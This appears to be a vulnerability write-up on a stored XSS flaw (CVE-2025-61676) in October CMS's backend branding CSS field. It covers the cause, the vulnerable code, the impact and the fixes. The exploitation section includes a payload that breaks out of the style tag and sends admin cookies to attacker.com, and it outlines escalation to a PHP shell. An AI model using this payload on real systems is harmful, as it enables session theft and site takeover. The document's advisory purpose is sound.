Feb 22, 2026·6 min read·4 visits
October CMS versions prior to 3.7.13 and 4.0.12 fail to sanitize custom CSS input in the backend branding settings. An attacker with 'Customize Backend Styles' permissions can inject malicious scripts by closing the style tag. This Stored XSS executes in the browser of any admin visiting the dashboard, allowing for session hijacking and privilege escalation.
A classic Stored Cross-Site Scripting (XSS) vulnerability lurking in the 'Branding' settings of October CMS allows high-privileged users to inject arbitrary JavaScript. By escaping the intended CSS context, an attacker can plant a payload that executes whenever an administrator visits the backend, potentially leading to full site takeover.
We all like our admin panels to look sharp. Custom colors, logos, maybe a splash of CSS to hide that one menu item nobody uses. October CMS, a popular platform based on Laravel, offers exactly this capability through its Branding & Appearance settings. It’s a feature designed for designers, but as is often the case, it became a playground for hackers.
The vulnerability, discovered by security researcher Tarek Nakkouch, resides in the most innocent-looking field imaginable: the "Custom Styles" text area. The assumption here is simple and dangerous: "Only trusted admins have access to this, so why sanitize it?"
Well, in the security world, "trusted" is a temporary state. If an attacker compromises a lower-tier admin account with branding permissions, or if you have a malicious insider, this lack of sanitization turns a cosmetic feature into a weapon. It’s the digital equivalent of letting your interior decorator rewire your house's security system.
To understand this bug, you have to think like a browser parser. When you enter CSS into the branding field, October CMS takes that string and dumps it directly into the <head> of the backend HTML, wrapped in <style> tags.
The code logic effectively looked like this:
<style>
/* Your custom CSS here */
<?= $customCss ?>
</style>The flaw is a classic Context Breakout. The application treats the input as pure CSS, but it doesn't forbid characters that have special meaning in HTML parsing—specifically the closing tag sequence </.
If the application doesn't sanitize or encode the input, the browser doesn't care that it's currently inside a style block. As soon as it sees </style>, it considers the CSS block finished. Everything after that is treated as raw HTML. This allows an attacker to switch contexts from "styling" to "scripting" with trivial ease.
Let's look at the mechanics. The vulnerability exists because the user input from the custom_css setting was echoed raw into the layout. In the world of templating engines (like Twig or Blade used in October), raw output is often denoted by unescaped tags or specific filters.
Here is a reconstruction of the vulnerable logic vs. the secure approach:
Vulnerable Implementation:
// In the backend layout template
<style>
<?= Backend\Models\BrandSetting::get('custom_css') ?>
</style>Because the output is not passed through an escaping function (like htmlspecialchars in PHP or {{ }} in Blade which usually escapes by default, unless using Unescaped filters), the payload passes through untouched.
The Fix:
The remediation typically involves ensuring that the user input cannot contain the sequence </style>. The patch likely implements a sanitizer that strips or encodes HTML tags, or ensures the input is strictly validated as CSS syntax before rendering.
> [!NOTE]
> The fix was applied in commit 6130d6d694f535340b2c58db29702cbcd6eb29a4. If you are running a version prior to 3.7.13, your admin panel is essentially a loaded gun waiting for a rogue stylist.
Exploiting this is embarrassingly simple once you have the necessary permissions (backend.manage_branding). You don't need complex memory corruption or race conditions. You just need to know how to write a closing tag.
The Attack Chain:
Customize Backend Styles permission.body { background: red; }
</style><script>fetch('https://attacker.com/hook?c='+document.cookie)</script><style>The Execution:
The next time any user (including the Super Admin) loads a backend page, the CMS renders the header. The browser parses the CSS, hits the </style>, stops CSS parsing, and immediately executes the <script> tag.
Once the script runs in the Super Admin's session, the attacker can hijack the session, create a new admin user, or—since this is a CMS—edit the theme PHP files to achieve full Remote Code Execution (RCE) on the server.
You might argue, "But you need admin privileges to exploit this!" That is true, reflected in the CVSS score of 6.1 (Medium). However, in the real world, this is a Privilege Escalation vector.
Many organizations have tiered administration. You might have a marketing intern with access to "Branding" but not "System Settings" or "Users". With this vulnerability, that intern (or an attacker who compromised their weak password) can escalate to Super Admin immediately.
Furthermore, October CMS allows administrators to manage files and logic. A Stored XSS in the backend is effectively a golden key to the server. If I can run JS in your browser, and you are an admin, I can make your browser upload a PHP shell to the theme directory.
Impact Summary:
admin_auth cookies.The remediation is straightforward: Update. October CMS has released patches that sanitize this input field.
Immediate Actions:
system_settings or branding configuration in the database. If you see <script> tags in your CSS fields, you have already been compromised.Content-Security-Policy: default-src 'self'; script-src 'self';) would have prevented this script from executing, even if the injection was successful. Inline scripts are the devil's playground—block them.CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
October CMS October CMS | < 3.7.13 | 3.7.13 |
October CMS October CMS | >= 4.0.0 < 4.0.12 | 4.0.12 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2025-61676 |
| CVSS v3.1 | 6.1 (Medium) |
| CWE | CWE-79 (Cross-Site Scripting) |
| Vector | AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N |
| Attack Vector | Stored XSS via Backend Settings |
| Exploit Maturity | Proof of Concept (PoC) |
| Patch Status | Available (v3.7.13, v4.0.12) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')